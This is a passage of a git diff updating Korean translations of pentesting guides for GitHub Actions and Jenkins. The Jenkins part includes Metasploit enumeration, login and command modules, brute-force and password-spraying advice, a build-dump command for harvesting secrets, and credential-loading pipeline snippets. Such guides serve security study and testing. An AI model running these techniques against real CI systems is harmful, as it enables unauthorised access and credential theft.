토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요. -- GitHub App이 **특정 리포지토리**와 통합되도록 하세요. -- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다. -- GitHub App이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오. -- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub App을 사용하지 마십시오**. 그러나 GitHub App은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 다른 작업을 수행할 수 있습니다. -- GitHub 사용자의 역할만 수행하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub App을 만들지 마십시오. -- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱을 위한 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요. -- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- GitHub 앱은 **사용자와 독립적으로 작업해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요. +- GitHub 앱이 **특정 리포지토리**와 통합되도록 하십시오. +- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다. +- GitHub 앱이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오. +- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub 앱을 사용하지 마십시오**. 그러나 GitHub 앱은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 _다른_ 작업을 수행할 수 있습니다. +- GitHub 사용자로서만 작동하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub 앱을 구축하지 마십시오. +- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱의 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요. +- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -이것은 **github에서 인증하는 방법**이 아니지만, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, Action에 부여된 **권한**에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요. +이것은 **github에서 인증하는 방법이 아니지만**, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, **Action에 부여된 권한에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요. ## Git Actions -Git actions는 **이벤트가 발생할 때 코드 실행을 자동화**할 수 있습니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되지 않았는지 확인). +Git actions는 **이벤트가 발생할 때 코드를 자동으로 실행**할 수 있게 해줍니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되어 있지 않은지 확인). -### Configuration +### 구성 -_https://github.com/organizations/\/settings/actions_에서 조직의 **github actions 구성**을 확인할 수 있습니다. +_https://github.com/organizations/\/settings/actions_에서 **조직의 github actions 구성**을 확인할 수 있습니다. -GitHub Actions의 사용을 완전히 금지하거나, **모든 GitHub Actions을 허용**하거나, 특정 작업만 허용하도록 설정할 수 있습니다. +github actions의 사용을 완전히 금지하거나, **모든 github actions을 허용**하거나, 특정 작업만 허용할 수 있습니다. -또한 **GitHub Action을 실행하기 위해 승인해야 하는 사람**과 GitHub Action이 실행될 때의 **GITHUB_TOKEN의 권한**을 구성할 수 있습니다. +또한 **Github Action을 실행하기 위해 승인해야 하는 사람**과 **Github Action이 실행될 때 GITHUB_TOKEN의 권한**을 구성할 수 있습니다. -### Git Secrets +### Git 비밀 -GitHub Action은 일반적으로 GitHub 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **리포지토리에 평문으로 넣는 것을 피하기 위해** GitHub은 이를 **Secrets**로 설정할 수 있도록 허용합니다. +Github Action은 일반적으로 github 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **비밀을 평문으로 리포지토리에 넣지 않기 위해**, github은 이를 **비밀**로 설정할 수 있도록 허용합니다. -이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 하려면 다음과 같이 선언해야 합니다: +이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 선언해야 합니다: ```yaml steps: - name: Hello world action @@ -170,73 +170,73 @@ example-command "$SUPER_SECRET" > [!WARNING] > Secrets **는 선언된 Github Actions에서만 접근할 수 있습니다.** -> 레포지토리나 조직에 구성된 후 **github 사용자는 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.** +> 레포지토리나 조직에 구성된 후 **github 사용자들은 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.** 따라서, **github 비밀을 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것입니다** (그 시나리오에서는 Action에 대해 선언된 비밀만 접근할 수 있습니다). ### Git Environments -Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 제공할 수 있습니다: +Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 다음과 같이 부여할 수 있습니다: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +환경을 **모든 브랜치**(기본값)에서 **접근할 수 있도록** 구성하거나, **보호된** 브랜치만 **접근할 수 있도록** 하거나, **어떤 브랜치가 접근할 수 있는지 지정**할 수 있습니다.\ +또한 **작업**을 **실행하기 전에 필요한 리뷰 수**를 설정하거나, 배포가 진행되기 전에 **일정 시간**을 **기다릴** 수 있습니다. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Github Action은 **github 환경 내에서 실행**되거나 사용자가 구성한 **타사 인프라**에서 실행될 수 있습니다. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +여러 조직에서는 **타사 인프라**에서 Github Actions를 실행할 수 있도록 허용하는데, 이는 **더 저렴하기** 때문입니다. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +조직의 **자체 호스팅 러너**를 _https://github.com/organizations/\/settings/actions/runners_에서 **목록화**할 수 있습니다. -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +**비-Github 인프라에서 실행되고 있는 Github Actions**를 찾는 방법은 Github Action 구성 yaml에서 `runs-on: self-hosted`를 검색하는 것입니다. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +**다른 조직의 자체 호스팅 박스** 내에서 조직의 Github Action을 실행하는 것은 **러너가 속한 곳을 알기 위해 러너에 대해 고유한 토큰이 생성되기 때문에 불가능**합니다. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +예를 들어, 커스텀 **Github Runner가 AWS 또는 GCP 내의 머신에 구성된 경우**, Action은 **메타데이터 엔드포인트에 접근할 수 있고** 머신이 실행 중인 **서비스 계정의 토큰을 훔칠 수 있습니다**. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +모든 작업(또는 악의적인 작업)이 허용되면 사용자는 **악의적인 Github Action**을 사용할 수 있으며, 이는 **실행되고 있는 컨테이너를 손상시킬 수 있습니다**. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> 실행된 **악의적인 Github Action**은 공격자가 다음과 같이 **악용할 수 있습니다**: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Action이 접근할 수 있는 모든 비밀을 훔치기** +> - **타사 인프라 내에서 Action이 실행되는 경우 수평 이동** (아마도 메타데이터 서비스를 통해 머신을 실행하는 데 사용된 SA 토큰에 접근 가능) +> - **코드 저장소의 코드를 훔치거나** **수정하기 위해 워크플로에서 사용되는 토큰을 악용하기**. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +브랜치 보호는 사용자가 **저장소에 대한 완전한 제어를 갖지 않도록** 설계되었습니다. 목표는 **일부 브랜치 내에서 코드를 작성할 수 있기 전에 여러 보호 방법을 설정하는 것**입니다. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +저장소의 **브랜치 보호**는 _https://github.com/\/\/settings/branches_에서 찾을 수 있습니다. > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다**. 따라서 모든 보호는 각 저장소에서 선언해야 합니다. -Different protections can be applied to a branch (like to master): +브랜치에 다양한 보호를 적용할 수 있습니다(예: master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- **병합 전에 PR을 요구할 수 있습니다**(따라서 브랜치에 직접 코드를 병합할 수 없습니다). 이 옵션을 선택하면 다른 여러 보호가 적용될 수 있습니다: +- **승인 수를 요구합니다**. PR을 승인하기 위해 1명 또는 2명 이상의 추가 승인을 요구하는 것이 일반적이므로 단일 사용자가 직접 코드를 병합할 수 없습니다. +- **새 커밋이 푸시될 때 승인을 무효화합니다**. 그렇지 않으면 사용자가 정당한 코드를 승인한 후 악의적인 코드를 추가하고 병합할 수 있습니다. +- **코드 소유자의 리뷰를 요구합니다**. 저장소의 코드 소유자 중 최소 1명이 PR을 승인해야 합니다(따라서 "무작위" 사용자가 승인할 수 없습니다). +- **풀 리퀘스트 리뷰를 무효화할 수 있는 사람을 제한합니다**. 풀 리퀘스트 리뷰를 무효화할 수 있는 사람이나 팀을 지정할 수 있습니다. +- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용합니다**. 이러한 사용자는 이전 제한을 우회할 수 있습니다. +- **병합 전에 상태 검사가 통과해야 합니다**. 커밋을 병합하기 전에 통과해야 하는 몇 가지 검사가 있습니다(예: 평문 비밀이 없는지 확인하는 github action). +- **병합 전에 대화 해결을 요구합니다**. 코드에 대한 모든 댓글은 PR을 병합하기 전에 해결되어야 합니다. +- **서명된 커밋을 요구합니다**. 커밋은 서명되어야 합니다. +- **선형 기록을 요구합니다**. 병합 커밋이 일치하는 브랜치에 푸시되는 것을 방지합니다. +- **관리자를 포함합니다**. 이 설정이 없으면 관리자는 제한을 우회할 수 있습니다. +- **일치하는 브랜치에 푸시할 수 있는 사람을 제한합니다**. PR을 보낼 수 있는 사람을 제한합니다. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> 보시다시피, 사용자의 자격 증명을 얻었다고 하더라도, **저장소가 보호되어 있어 예를 들어 master에 코드를 푸시하는 것을 방지할 수 있습니다**. ## References diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index caaac856d..ea95ab89a 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,18 +1,18 @@ -# Jenkins Security +# Jenkins 보안 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한, 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요**를 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다. +Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요성**을 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration +## 인증되지 않은 열거 -인증 없이 흥미로운 Jenkins 페이지를 검색하기 위해 (_/people_ 또는 _/asynchPeople_, 현재 사용자를 나열함) 다음을 사용할 수 있습니다: +인증 없이 흥미로운 Jenkins 페이지를 검색하려면 (_/people_ 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` @@ -20,55 +20,43 @@ msf> use auxiliary/scanner/http/jenkins_enum ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. +자격 증명이 없으면 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다. -자격 증명 없이 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ - -Jenkins 버전은 _**/oops**_ 또는 _**/error**_ 경로에서 확인할 수 있습니다. +경로 _**/oops**_ 또는 _**/error**_에서 Jenkins 버전을 확인할 수 있을 것입니다. ![](<../../images/image (146).png>) -### Known Vulnerabilities +### 알려진 취약점 {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## 로그인 -In the basic information you can check **all the ways to login inside Jenkins**: - -기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다. +기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### 등록 -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. **그것만큼 간단합니다.** -계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 그만큼 간단합니다. +### **SSO 로그인** -### **SSO Login** +또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 얻으세요. -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +### 브루트포스 -또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 확인하세요. - -### Bruteforce - -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. - -**Jenkins**는 **비밀번호 정책**과 **사용자 이름 무차별 대입 완화**가 부족합니다. **약한 비밀번호**나 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자에 대한 무차별 대입**이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다. +**Jenkins**는 **비밀번호 정책**과 **사용자 이름 브루트포스 완화**가 부족합니다. **약한 비밀번호** 또는 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자**를 **브루트포스**하는 것이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다. ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### 비밀번호 스프레이 -[이 파이썬 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 또는 [이 파워셸 스크립트](https://github.com/chryzsh/JenkinsPasswordSpray)를 사용하세요. +Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP 화이트리스트 우회 @@ -76,7 +64,7 @@ msf> use auxiliary/scanner/http/jenkins_login 이를 달성하기 위해 조직은 **SCM 플랫폼**의 **IP 범위**를 **화이트리스트**하여 **웹훅**을 통해 **내부 CI 시스템**에 접근할 수 있도록 허용합니다. 그러나 **누구나** GitHub 또는 GitLab에 **계정**을 생성하고 이를 **웹훅을 트리거**하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 **내부 CI 시스템**에 요청을 보낼 수 있습니다. -확인: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## 내부 Jenkins 남용 @@ -95,9 +83,9 @@ basic-jenkins-information.md Jenkins에 접근했다면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다. -### 평문 비밀을 찾기 위한 빌드 덤프 +### 평문 비밀 찾기를 위한 빌드 덤프 -[이 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)를 사용하여 빌드 콘솔 출력 및 빌드 환경 변수를 덤프하여 평문 비밀을 찾으세요. +Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -105,19 +93,19 @@ gitleaks detect --no-git -v ``` ### **SSH 자격 증명 탈취** -타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정함으로써** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고: +타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고: ![](<../../images/image (218).png>) -Jenkins ssh 자격 증명은 **전역 제공자**(`/credentials/`)에서 일반적으로 찾을 수 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수도 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요. +Jenkins SSH 자격 증명은 일반적으로 **전역 제공자**(`/credentials/`)에 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요. ### **Jenkins에서의 RCE** -**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 기회**를 제공합니다. +**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 수 있는 기회**를 제공합니다. 기본적으로 Jenkins는 **SYSTEM으로 실행**됩니다. 따라서 이를 타협하면 공격자는 **SYSTEM 권한**을 얻게 됩니다. -### **프로젝트 생성/수정으로 RCE** +### **프로젝트 생성/수정으로 RCE 얻기** 프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다: @@ -125,7 +113,7 @@ Jenkins ssh 자격 증명은 **전역 제공자**(`/credentials/`)에서 일반 jenkins-rce-creating-modifying-project.md {{#endref}} -### **Groovy 스크립트 실행으로 RCE** +### **Groovy 스크립트 실행으로 RCE 얻기** Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다: @@ -133,7 +121,7 @@ Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 jenkins-rce-with-groovy-script.md {{#endref}} -### 파이프라인 생성/수정으로 RCE +### 파이프라인 생성/수정으로 RCE 얻기 **파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다**: @@ -151,9 +139,9 @@ jenkins-rce-creating-modifying-pipeline.md ![](<../../images/image (127).png>) -또한 **다른 위치에 파이프라인 구성 파일을 저장하는 것**도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리**하는 목표를 가지고 있습니다. +또한 **다른 위치에 파이프라인 구성 파일을 저장**하는 것도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리하기 위한 목적**입니다. -공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **파이프라인을 트리거할 수 있습니다**. Jenkins에 접근하지 않고도 말입니다.\ +공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **Jenkins에 접근하지 않고도** 파이프라인을 **트리거할 수 있습니다**.\ 공격자가 **일부 브랜치 보호를 우회해야 할 수도 있습니다**(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다). 사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다: @@ -163,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md - **주 브랜치를 업데이트**하고 실행될 때까지 기다리기 > [!NOTE] -> **외부 사용자**인 경우, **다른 사용자/조직의** 저장소의 **주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**. +> **외부 사용자**인 경우, **다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**. ### 파이프라인 RCE @@ -171,7 +159,7 @@ jenkins-rce-creating-modifying-pipeline.md ### 환경 변수 확인 -**전체 파이프라인** 또는 특정 단계에 대해 **일반 텍스트 환경 변수를 선언**할 수 있습니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**: +**전체 파이프라인 또는 특정 단계에 대해 일반 텍스트 환경 변수를 선언**하는 것이 가능합니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**: ```bash pipeline { agent {label 'built-in'} @@ -194,13 +182,13 @@ Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정 basic-jenkins-information.md {{#endref}} -자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job//configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**하고 사용자 정의/오염된 파이프라인을 실행해야 합니다. +자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job//configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**해야 하며, 사용자 정의/오염된 파이프라인을 실행해야 합니다. -또 다른 문제는, 파이프라인의 **env** 내에서 **비밀을 얻으려면 비밀의 이름과 유형을 알아야** 한다는 것입니다. 예를 들어, **`usernamePassword`** **비밀**을 **`string`** **비밀**로 **로드**하려고 하면 이 **오류**가 발생합니다: +또 다른 문제는 파이프라인의 **env** 내에서 **비밀을 얻으려면** **비밀의 이름과 유형을 알아야 한다는** 것입니다. 예를 들어, **`string`** **비밀**로 **`usernamePassword`** **비밀**을 **로드**하려고 하면 이 **오류**가 발생합니다: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -여기에서 몇 가지 일반적인 비밀 유형을 로드하는 방법이 있습니다: +여기 일반적인 비밀 유형을 로드하는 방법이 있습니다: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -231,43 +219,43 @@ env 이 페이지의 끝에서 **모든 자격 증명 유형**을 **찾을 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타격**하는 것입니다 (예: **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\ -> 이를 수행하는 방법에 대한 자세한 내용은 [노드 및 에이전트 섹션](./#nodes-and-agents)과 [사후 활용 섹션](./#post-exploitation)을 참조하십시오. +> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타협하는** 것입니다 (예를 들어 **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\ +> 이를 수행하는 방법에 대한 자세한 내용은 [Nodes & Agents section](./#nodes-and-agents) 및 [Post Exploitation section](./#post-exploitation)에서 확인할 수 있습니다. ### 트리거 -[문서에서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` 지시어는 **파이프라인이 재트리거되어야 하는 자동화된 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 높기 때문에 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다. +[문서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)에서: `triggers` 지시문은 **파이프라인이 자동으로 다시 트리거되는 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 